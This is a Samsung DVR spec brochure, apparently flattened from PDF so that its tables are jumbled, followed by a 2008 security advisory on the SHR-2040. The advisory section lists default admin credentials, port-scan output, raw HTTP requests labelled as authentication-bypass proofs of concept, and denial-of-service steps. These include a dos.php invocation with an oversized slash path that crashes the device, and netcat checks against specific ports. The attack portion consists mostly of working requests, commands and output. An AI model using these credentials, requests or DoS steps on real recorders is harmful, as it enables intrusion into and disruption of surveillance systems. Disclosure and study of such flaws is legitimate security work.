SHR-4160(P)

16 Channel Standalone Digital Video Recorder

Features

16 Channel video 360(300)ips recording capability High picture quality : MPEG4 Remote monitoring and control through network (LAN) Convenient search function with JOG/Shuttle Various recording (Normal, schedule, motion, alarm, panic) Recording during replay (Triplex) USB 2.0 Interface : USB memory/USB external HDD/ external CD-RW, DVD-RW backup Various N/W environments support (LAN : Static/Dynamic, ADSL : Static/Dynamic (PPPoE))

SHR-2040(P)

4 Channel Standalone Digital Video Recorder

Rear Panel Front Panel

Dimensions (unit : mm)

DVR COMBO SHR-4160

FOCUS+

FOCUS_

FREEZE

SEARCH

NETWORK

BACK UP

REC PANIC REC LOCK ZOOM

Specifications

SHR-4160P
Operating System Storage Internal Capacity External Video Inputs Outputs Basic Max. Expansion USB HDD IEEE 1394 Composite Composite Through Composite S-Video VGA Embedded OS 120GB 250GB x 4 1EA. (Max. 250GB) Max. 6EA(Daisy Chain Connection), Max. HDD size : 1.5TB(250GB x 6) 16Ch 16Ch 2Ch(Main, Spot) 1Ch 1Ch MPEG4 10~11KB(352x288), 15~16KB(720 x 288), 23~30KB(720 x 576) 8.5~9.5KB(352x288), 13~14KB(720 x 288), 18~20KB(720 x 576) 6.5~8KB(352x288), 9.5~11.5KB(720 x 288), 14~16KB(720 x 576) 3~5KB(352x288), 6KB(720 x 288), 10~12KB(720 x 576) x 576 Time Lapse, Event(Alarm/Motion/Video Loss), Schedule(Time/Date/Camera), Emergency REC(Panic) Calendar Search, Event Search(Alarm/Motion/Video Loss), Data/Time Search, Go to First/Last Search, Backup Search Play, Stop, Pause, FF, FB, Jog, Shuttle 300(352 x 288), 200(720 x 288), 100(720 x 576) CIF(352x288), Half D1(720 x 288), Full D1(720 x 576) 0, 3, 5, 10, 20, 30 sec Single, Division(4, 6, 7, 8, 9, 16), PIP, Sequence, Freeze, x2 Zoom 8Ch, RCA 1Ch, RCA G. 726 8Ch 16 Alarm In 4 Alarm Out, 1 Alarm Reset 5, 10, 20, 30 sec 5, 10, 20, 30 sec, 1, 3, 5, 10, 20 min Area setting Ethernet : 10/100 Base T, ADSL Static IP, ADSL Dynamic IP(PPPoE) Cable Network(Dynamic IP) USB2.0(Front 1, Rear 1 port, External HDD, USB Memory, External CD-RW, DVD-RW, IEEE 1394(Rear 1 port, External HDD) PTZ Device Control, System Key Board Yes Triplex AC 100~240V, 50/60Hz 6.5kg 430 x 88 x 400 mm 559 x 517 x 204 mm

SHR-4160

120GB 250GB x 4 1EA. (Max. 250GB) Max. 6EA(Daisy Chain Connection), Max. HDD size : 1.5TB(250GB x 6) 16Ch 16Ch 2Ch(Main, Spot) 1Ch 1Ch 8.3~9.2KB(352 x 240), 12.5~13.3KB(720 x 240), 19.2~25KB(720 x 480) 7.1~7.9KB(352 x 240), 10.8~11.7KB(720 x 240), 15~16.7KB(720 x 480) 5.4~6.7KB(352 x 240), 7.9~9.6KB(720 x 240), 11.7~13.3KB(720 x 480) 2.5~4.2KB(352 x 240), 5~6.1KB(720 x 240), 8.3~10KB(720 x 480) x 480 Time Lapse, Event(Alarm/Motion/Video Loss), Schedule(Time/Date/Camera), Emergency REC(Panic) Calendar Search, Event Search(Alarm/Motion/Video Loss), Data/Time Search, Go to First/Last Search, Backup Search Play, Stop, Pause, FF, FB, Jog, Shuttle 360(352 x 240), 240(720 x 240), 120(720 x 480) CIF(352 x 240), Half D1(720 x 240), Full D1(720 x 480) 0, 3, 5, 10, 20, 30 sec Single, Division(4, 6, 7, 8, 9, 16), PIP, Sequence, Freeze, x2 Zoom 8Ch, RCA 1Ch, RCA G. 726 8Ch 16 Alarm In 4 Alarm Out, 1 Alarm Reset 5, 10, 20, 30 sec 5, 10, 20, 30 sec, 1, 3, 5, 10, 20 min Area setting Ethernet : 10/100 Base T, ADSL Static IP, ADSL Dynamic IP(PPPoE) Cable Network(Dynamic IP) USB2.0(Front 1, Rear 1 port, External HDD, USB Memory, External CD-RW, DVD-RW, IEEE 1394(Rear 1 port, External HDD) PTZ Device Control, System Key Board Yes Triplex AC 100~240V, 50/60Hz 6.5kg 430 x 88 x 400 mm 559 x 517 x 204 mm
Very High(Level 7, 8) High(Level 6, 5) Standard(Level 4, 3) Low(Level 2, 1) Display Speed(images/sec) Display Resolution Recording Recording Mode /Search Search / PB Mode Search PB Recording Speed(Images/sec) Recording Resolution Auto Switching Live Division Screen Audio Inputs Outputs Compression Recording Alarm Inputs Outputs Pre Alarm Post Alarm Motion Detection Network Backup Serial I/F(RS-485) Watermark Multiplex function Power Requirements Weight Dimensions(WxHxD)mm Packing
Compression Compression Rate

Summary

SHR-2040(P) is a 4-channel MPEG4 real time Digital Video Recorder capable of 120(100)ips recording rate in CIF mode. It can also record the 4-channel synchronized audio and various kinds of resolution (CIF/Half D1). * CIF : 352x240(352x288) Half D1 : 720x240(720x288) Each channel provides variable record rate to save HDD consumption. External interface method is USB 2.0 (Front:1, Rear:1).
* "P" indicates PAL model & "N" or no specific alphabet after the model name indicates NTSC model.
* Design and specifications are subject to change without notice.
SAMSUNG ELECTRONICS CO.,LTD.

Digital Video Division

416, Maetan-3Dong, Yeongtong-Gu, Suwon City, Gyeonggi-Do, Korea 443-742 Tel: +82-31-200-5504, 5578 Fax: +82-31-200-5594 http://www.securitysamsung.com
4 Channel video & audio realtime recording capability. High picture quality : MPEG4 Remote monitoring and control through network (LAN) Various recording (Normal, schedule, motion, alarm) Recording during replay (Triplex) Various N/W environments support (LAN : Static/Dynamic, ADSL : Static/Dynamic (PPPoE)) USB2.0 Interface : USB memory/USB external HDD/ external CD-RW, DVD-RW backup

SHR-2042(P)

4-Channel Standalone Digital Video Recorder with built-in CD-RW

Front Panel

ALRAM DIGITAL VIDEO RECORDER SHR-4 PTZ ZOOM FREEZE

NETWORK BACK UP

PRESET

SHR-2040P

Operating System Storage Internal Capacity External Video Inputs Outputs Compression Compression Rate Basic Max. Expansion USB HDD Composite Composite Through Composite S-Video Embedded OS 120GB 250GB x 2 1EA (Max. 250GB) 4Ch 4Ch 2Ch(Main, Spot) 1Ch MPEG4 12KB(352x288), 24KB(720 x 288) 7KB(352x288), 14KB(720 x 288) 4.9KB(352x288), 9.9KB(720 x 288) 3KB(352x288), 6KB(720 x 288) x 576 Time Lapse, Event Alarm/Motion/Video Loss, Schedule(Time/Date/Camera) Event Search(Alarm/Motion/Video Loss), Data/Time Search, Go to First/Last Search, Backup Search Play, Stop, Pause, FF, FB, Forward, Fame Advance, Reverse Frame Advance 100(352 x 288), 50(720 x 288), CIF(352 x 288), Half D1(720 x 288) 0, 3, 5, 10, 20, 30 sec Single, Quad, PIP, Sequence, Freeze, x2 Zoom 4Ch, RCA 1Ch, RCA ADPCM 4Ch 4 Alarm In 2 Alarm Out, 1 Alarm Reset 5, 10, 20, 30 sec 5, 10, 20, 30 sec, 1, 3, 5, 10, 20 min Area setting Ethernet : 10/100Base T, ADSL Static IP, ADSL Dynamic IP(PPPoE) Cable Network(Dynamic IP) Front 1, Rear 1 port, External HDD, USB Memory, External CD-RW PTZ Device Control, System Key Board Yes Triplex DC12V, 4.5A(External Adaptor) 3.3kg 215 x 88 x 337 mm 436 x 329 x 189 mm

SHR-2040

Embedded OS 120GB 250GB x 2 1EA (Max. 250GB) 4Ch 4Ch 2Ch(Main, Spot) 1Ch MPEG4 10KB(352x240), 20KB(720 x 240) 5.9KB(352x240), 12.8KB(720 x 240) 4.1KB(352x240), 8.2KB(720 x 240) 2.5KB(352x240), 5KB(720 x 240) x 480 Time Lapse, Event Alarm/Motion/Video Loss, Schedule(Time/Date/Camera) Event Search(Alarm/Motion/Video Loss), Data/Time Search, Go to First/Last Search, Backup Search Play, Stop, Pause, FF, FB, Forward, Fame Advance, Reverse Frame Advance 120(352 x 240), 60(720 x 240) CIF(352 x 240), Half D1(720 x 240) 0, 3, 5, 10, 20, 30 sec Single, Quad, PIP, Sequence, Freeze, x2 Zoom 4Ch, RCA 1Ch, RCA ADPCM 4Ch 4 Alarm In 2 Alarm Out, 1 Alarm Reset 5, 10, 20, 30 sec 5, 10, 20, 30 sec, 1, 3, 5, 10, 20 min Area setting Ethernet : 10/100Base T, ADSL Static IP, ADSL Dynamic IP(PPPoE) Cable Network(Dynamic IP) Front 1, Rear 1 port, External HDD, USB Memory, External CD-RW PTZ Device Control, System Key Board Yes Triplex DC12V, 4.5A(External Adaptor) 3.3kg 215 x 88 x 337 mm 436 x 329 x 189 mm

Very High High Standard Low Display Speed(images/sec) Display Resolution Recording Recording Mode /Search Search / PB Mode Search PB Recording Speed(Images/sec) Recording Resolution Auto Switching Live Division Screen Audio Inputs Outputs Compression Recording Alarm Inputs Outputs Pre Alarm Post Alarm Motion Detection Network Backup USB 2.0 Serial I/F(RS-485) Watermark Multiplex function Power Requirements Weight Dimensions(WxHxD)mm Packing
The SHR-2042 offers 4-channel MPEG4 Real time Digital Video Recorder capable of 120(100)ips record rate.(in CIF mode) The SHR-2042 also record the 4-channel synchronized audio. The DVR can record various kinds of resolution(CIF/Half D1) Each channel provides variable record rate features to save HDD consumption. External interface methods are USB2.0(Front:1, Rear:1). *.CIF : 352x240(352x288) Half D1 : 720x240(720x288)

An Insecurity Overview of the Samsung DVR SHR-2040
An Insecurity Overview of the Samsung DVR SHR-2040 by Alex Hernandez
Date: 04.12.007 01:03:00 am Relase: 05.09.008 06:37:00 am By Alex Hernandez a h e r n a n d e z at s y b s e c u r i t y d o t c o m Very special thanks to: str0ke (milw0rm.com) kf (digitalmunition.com) Rathaus (beyondsecurity.com) !dSR (segfault.es) 0dd (0dd.com)
and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55, pikah, codebreak, h3llfyr3, canit0

Page 1 of 14

--==+=============================================+==---==+ Technical details and Attacks +==---==+=============================================+==---==+===================+==---==+ Digital Video Recorders +==---==+===================+==-DVRs are basically mini-PCs that allow a user to record TV broadcasts in a digital form via cable or DirectTV transmissions (depending on the model), in digital form on a hard drive located inside the recorder. This allows for The device is allowed to access the companys server, which regularly downloads the program guides into the DVR via a modem. Thius DVRs provides the same recording and time-shifting functions as a VCR, just in a different medium. --==+========================+==---==+ DVR Operating System Details +==---==+========================+==-Software Version Broadcast Format Mac Address version: authority: ddns: mac: model_name: protocol_version: B3.03E-K1.53-V2.19_0705281908 NTSC 00:16:6C:22:0F:72 B3.03E-K1.53-V2.19_0705281908 1203961644-01-03 samsung 00-16-6C-22-0F-72 SHR-2040 V1.0
--==+==================+==---==+ Login and User details +==---==+==================+==-Using the Smart Viewer u: ADMIN p: 4321 u: USER p: 4321 --==+===============+==---==+ System Operation +==---==+===============+==- Turn the power on and the following LOGO pops up on the screen.
After the LOGO appears, all of LED in the front flickers 6 times to initialize the system for operation. Upon completion of normal initialization, the Live screen appears accompanying a beep sound. It requires 30 to 40 seconds until the Live screen appears

Page 2 of 14

--==+===================+==---==+ System Operation cont. +==---==+===================+==-Before Use Selection - The yellow cursor shows the current window. Use the key in the front to move the cursor on your desirous menu. If you press the Enter key with the cursor clicking on your desirable menu, the system will enter the new mode. Press the Enter key to finish the selection. On seeing Drop Down Menu key to move the cursor on your desirable menu. OK or Cancel in Menu Setup Window Once changed, the new menu setup procedure will be finalized by pressing OK. Pressing Cancel will cancel the new setup and return to the upper menu. Front MENU and SEARCH Button The MENU button or SEARCH button, if pressed first, acts as an entrance button. Once entering, it reverses the page to the previous one. The > or V mark beside the title copies the line in the arrow direction to the value of the first line. The first page of the menu is structured as follows.

Page 3 of 14

The figure 2.1 depicts the basic setup of an analog camera system and a network-based or the figure 2.2 depicts the basic setup of the IP camera system. In the traditional analog CCTV application, security cameras capture an analog video signal and transfer that signal over coax cable to the Digital Video Recorder (DVR).

Figure 2.1 Analog System

Figure 2.2 IP System

Page 4 of 14

--==+============================+==---==+ The Smart Viewer 2.0 for Pro DVR +==---==+============================+==--

Smart Viewer is a program that a general PC user is able to install SHR-2040/2041/2042 to his PC to monitor the video and audio data in the real time through network without going to the site where SHR-2040/2041/2042 is installed. Thanks to the transmission of video data compressed by the MPEG-4 Video Compression method, it can play the video images of good quality. Thanks to the G.726 Voice Compression method, it supplies the voice data of good quality. Use of armored MIC improves the quality of remote voice. Thanks to the transmission of video/audio stream through RTP(Real-Time Transport Protocol), the real-time video playback is excellent and multi-users simultaneous connection does not affect the transmission speed in whole abruptly. Command & Control by RTSP(Real-Time Streaming Protocol) enables safety. control through the network.

Page 5 of 14

--==+===============+==---==+ Port and Services +==---==+===============+==-PORT 554/tcp 555/tcp 556/tcp 557/tcp STATE SERVICE open open open open rtsp dsf remotefs openvms-sysipc
MAC Address: 00:16:6C:22:0F:72 (Samsung Electonics Digital Video System Division) --==+===============================+==---==+ The threat Over the network corporate +==---==+===============================+==-GET /content_frame.htm?cgiName=system_disk&lang=en HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Referer: http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557/cgibin/left_menu?lang=en&topMenu=0 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ== HTTP/1.OK Date: Sun Dec 9 23:51:Server: GoAhead-Webs Pragma: no-cache Cache-Control: no-cache Content-length: 1561 Content-type: text/html <html> <head> <meta http-equiv="Pragma" CONTENT="No-Cache"> <title>System Setup</title> <SCRIPT language="JavaScript" src="htmlCommon.js"></script> </head> <SCRIPT language="JavaScript"> document.write("<frameset rows='286,*' cols='*' frameborder='NO' border='0' framespacing='0'>"); //mainframe. CGI. , lang. CGI.. document.write(" <frame src='/cgi-bin/"+_cgiName+"?lang="+_lang+"' name='mainFrame' scrolling='auto' noresize >"); // leftmenu. CGI. system_info. bottom. apply, cancel. // bottomFrame. info_bottom.htm.. if(_cgiName == "system_info"){./* no button */.document.write(" <frame src='info_bottom.htm?lang="+_lang+"' name='bottomFrame' scrolling='NO' noresize>"); }else if(_cgiName == "sched_rec" || _cgiName == "sched_alarm"){./* add holiday button */

Page 6 of 14

.document.write(" <frame src='bottom_sched.htm?lang="+_lang+"' name='bottomFrame' scrolling='NO' noresize>"); } --==+===========================+==---==+ The Basic Authentication PoC (1) +==---==+===========================+==-GET /first.htm HTTP/1.1 Accept: */* Referer: 10.50.10.248 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>

Page 7 of 14

--==+===========================+==---==+ The Basic Authentication PoC (2) +==---==+===========================+==-GET /first.htm HTTP/1.1 Accept: */* Referer: 10.50.10.248 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>

Page 8 of 14

--==+===========================+==---==+ The Basic Authentication PoC (3) +==---==+===========================+==-GET /index_menu.htm?lang=en&topMenu=5 HTTP/1.1 Accept: */* Referer: 10.50.10.248 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>

Page 9 of 14

--==+===========================+==---==+ The Basic Authentication PoC (4) +==---==+===========================+==-GET /index_menu.htm?lang=en&topMenu=5 HTTP/1.1 Accept: */* Referer: 10.50.10.248 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>

--==+================================+==---==+ Denial of service attack port (TCP 554) +==---==+================================+==-A denial-of-service attack (DoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the motives for a DoS attack may vary, it generally comprises the concerted, malevolent efforts of a person(s) to prevent an Internet site or service from functioning temporarily or indefinitely. C:\>nc -vvn 10.50.10.(UNKNOWN) [10.50.10.248] 554 (?) open
nice open port without problem

Page 10 of 14

--==+=========================+==---==+ Denial of service attack PoC (4) +==---==+=========================+==-GET / HTTP/1.1 Accept: */* Referer: 10.50.10.248 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:554 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==</h1></body>
----------------------------------------------------------------------------Usage: dos.php "host" "/path/" "times" host: path: times: target server (ip or hostname) path of the file, including file and extension. number of times to "download" the file.

Page 11 of 14

C:\ >php -f dos.php "10.50.10.248" "/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////" 100 crashed!!! C:\>nc -vvn 10.50.10.(UNKNOWN) [10.50.10.248] 554 (?): connection refused sent 0, rcvd 0: NOTSOCK Successful Denial of Service attack

--==+================================+==---==+ Denial of service attack port (TCP 557) +==---==+================================+==-A denial-of-service attack (DoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the motives for a DoS attack may vary, it generally comprises the concerted, malevolent efforts of a person(s) to prevent an Internet site or service from functioning temporarily or indefinitely. $ cat dos.txt | nc -vvn 10.50.10.(UNKNOWN) [10.50.10.248] 557 (?) open

Page 12 of 14

--==+==========================+==---==+ Denial of service attack PoC (5) +==---==+==========================+==-GET /x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x//x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x /x/x/x/x/x/ HTTP/1.1 Accept: */* Referer: http://$1$9hC8DmrL$8NG8i3pQXBabAKo.AIm8U.:12345@10.50.10.248:557 Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET CLR 3.0.04506.30) Host: 10.50.10.248:557 Connection: Keep-Alive Authorization: Basic JDEkOWhDOERtckwkOE5HOGkzcFFYQmFiQUtvLkFJbThVLjoxMjM0NQ==

Page 13 of 14

alt3kx labs
Neurowork 2008. All Rights Reserved. SYB Security is a business unit of Neurowork

Page 14 of 14